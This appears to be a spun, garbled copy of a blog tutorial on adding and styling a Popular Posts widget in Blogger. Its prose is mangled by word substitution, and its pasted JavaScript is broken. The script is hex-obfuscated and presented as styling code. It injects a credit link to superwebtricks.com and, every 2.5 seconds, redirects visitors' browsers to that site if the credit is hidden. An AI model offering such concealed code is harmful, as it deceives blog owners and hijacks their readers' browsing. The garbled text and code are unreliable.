Insert Customized Pop Posts To Your Blogger Blogs

  • Share

There are lots of things yous should do to engage your visitors and so that bounce rate would trim together with page impressions or page views increases to your blogger blog. Today nosotros will acquire one of those technique in which we volition show nearly liked and viewed web log posts on the sidebar of our blogger web log.

Blogger provides us to add together a Gadget to display a list of the near Popular Posts from your BlogSpot.com weblog. Your weblog reader may discover one article which is helpful or informative to them subsequently navigating blog posts from your pop posts widget together with subscribe to your web log for your upcoming posts. This default widget take following iv different options to exhibit upto ten popular posts:

1) Display alone Posts title;
ii) Display Posts title in addition to image thumbnails;
three) Display Posts title as well as snippets; as well as
four) Display Posts title, ikon thumbnails and snippets.

However, this default widget does non await professional in addition to center catching to attract your blog readers. With the assist of roughly dynamic CSS3 codes nosotros may modify or have priority over the default manner of utmost pop posts widget.

How to Add Popular Posts Gadget inwards Blog:

Step-one:

Login into blogger business relationship and navigate Dashboard of your particular blog inward which you lot desire to add Popular Posts widget.

Step-2:

Go to the Layout tab of your blogger web log as well as click on Add a Gadget text link from the sidebar.

Step-iii:

Now, scroll down a piddling bit too select Popular Posts gadget to add together it to your weblog equally shown in the screenshot.

Add-Popular-Posts-Gadget

Step-iv:

You may configure your pop posts widget to display posts tile, icon thumbnail as well as snippet equally you lot preferred. You may also select to demonstrate either vii days or 30 days most viewed posts.

Finally, click on relieve button. You may drag the Popular Posts widget in the desired location in the layout window too click the peak right corner push to relieve the template.

How to add together SWT Popular Posts Widget to your Blogger Blog

If you have added Popular Posts gadget inward your weblog then follow the instructions given below to fashion it otherwise please add a Popular Posts widget firstly. After successfully installation of the default Popular Posts widget, nosotros will straight off way our pop posts widget amongst the assistance of roughly unique CSS too JavaScript codes to attract our web log users.

Step-one:

Navigate your blog Template Tab from left sidebar and click on Edit HTML push.

Step-2:

Select PopularPosts1 from Jump to widget drib downwardly menu push button. You may likewise click anywhere inward the opened HTML editor window in addition to search for PopularPosts1.

Now supplant the line alongside the next codes.

  
SWT
<script type='text/javascript'>
var _0xb48a=["\x73\x72\x63","\x73\x37\x32\x2D\x63","\x73\x31\x36\x30\x30","\x72\x65\x70\x6C\x61\x63\x65","\x61\x74\x74\x72","\x2E\x50\x6F\x70\x75\x6C\x61\x72\x50\x6F\x73\x74\x73\x20\x69\x6D\x67","\x72\x65\x61\x64\x79","\x3C\x63\x65\x6E\x74\x65\x72\x3E\x3C\x61\x20\x68\x72\x65\x66\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x75\x70\x65\x72\x77\x65\x62\x74\x72\x69\x63\x6B\x73\x2E\x63\x6F\x6D\x2F\x22\x20\x3E\x3C\x69\x6D\x67\x20\x74\x69\x74\x6C\x65\x3D\x22\x50\x6F\x77\x72\x65\x64\x20\x62\x79\x20\x53\x68\x6F\x77\x65\x62\x6C\x6F\x67\x69\x6E\x22\x20\x61\x6C\x74\x3D\x22\x53\x57\x54\x22\x20\x77\x69\x64\x74\x68\x3D\x22\x31\x35\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x31\x35\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x69\x6D\x67\x2E\x73\x75\x70\x65\x72\x77\x65\x62\x74\x72\x69\x63\x6B\x73\x2E\x63\x6F\x6D\x2F\x66\x69\x6C\x65\x73\x2F\x53\x57\x54\x2D\x6C\x6F\x67\x6F\x2E\x70\x6E\x67\x22\x20\x2F\x3E\x3C\x2F\x61\x3E\x3C\x2F\x63\x65\x6E\x74\x65\x72\x3E","\x68\x74\x6D\x6C","\x2E\x73\x77\x74\x72\x69\x67\x68\x74","\x6C\x65\x6E\x67\x74\x68","\x2E\x73\x77\x74\x72\x69\x67\x68\x74\x3A\x76\x69\x73\x69\x62\x6C\x65","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x75\x70\x65\x72\x77\x65\x62\x74\x72\x69\x63\x6B\x73\x2E\x63\x6F\x6D\x2F"];var _0xb715=[_0xb48a[0],_0xb48a[one],_0xb48a[two],_0xb48a[3],_0xb48a[iv],_0xb48a[5],_0xb48a[6],_0xb48a[seven],_0xb48a[eight],_0xb48a[ix],_0xb48a[10],_0xb48a[xi],_0xb48a[12],_0xb48a[thirteen],_0xb48a[xiv]];var _0x7c12=[_0xb715[0],_0xb715[1],_0xb715[ii],_0xb715[3],_0xb715[iv],_0xb715[5],_0xb715[half dozen],_0xb715[seven],_0xb715[eight],_0xb715[9],_0xb715[ten],_0xb715[eleven],_0xb715[12],_0xb715[xiii],_0xb715[xiv]];$(document)[_0x7c12[half dozen]](office ()$(_0x7c12[5])[_0x7c12[4]](_0x7c12[0],function (_0xba10x3,_0xba10x4)return _0xba10x4[_0x7c12[3]](_0x7c12[1],_0x7c12[2]); ); );$(document)[_0x7c12[half dozen]](office ()$(_0x7c12[ix])[_0x7c12[8]](_0x7c12[7]);setInterval(part ()if(!$(_0x7c12[eleven])[_0x7c12[10]])window[_0x7c12[13]][_0x7c12[12]]=_0x7c12[14]; ; ,2500); );
</script>

Step-iii:

Search for closing tag together with glue the next JavaScript codes but above/earlier as well as click on Save template push to salvage your blog template.



Note: If you lot had already added the jquery.min.js JavaScript code into your blog and then delete the last line of work one.e. occupation number 3 from the in a higher place codes.

Step-iv:

Visit your web log layout tab as well as click on Add a Gadget text link push from the right/left sidebar. Select or click on HTML/JavaScript (Add 3rd-party functionality or other code to your web log) later scroll downward a picayune fleck.

Now, take i of the next styles and copy/paste the CSS codes into open up HTML/JavaScript Gadget content field.

SWT-Popular-Posts-Styles

Style-one:


Style-ii:


Style-iii:


Finally, click on salve button to brand your Popular Posts widget more than professional and attractive. There is no require to reach a title to this gadget.

  • Share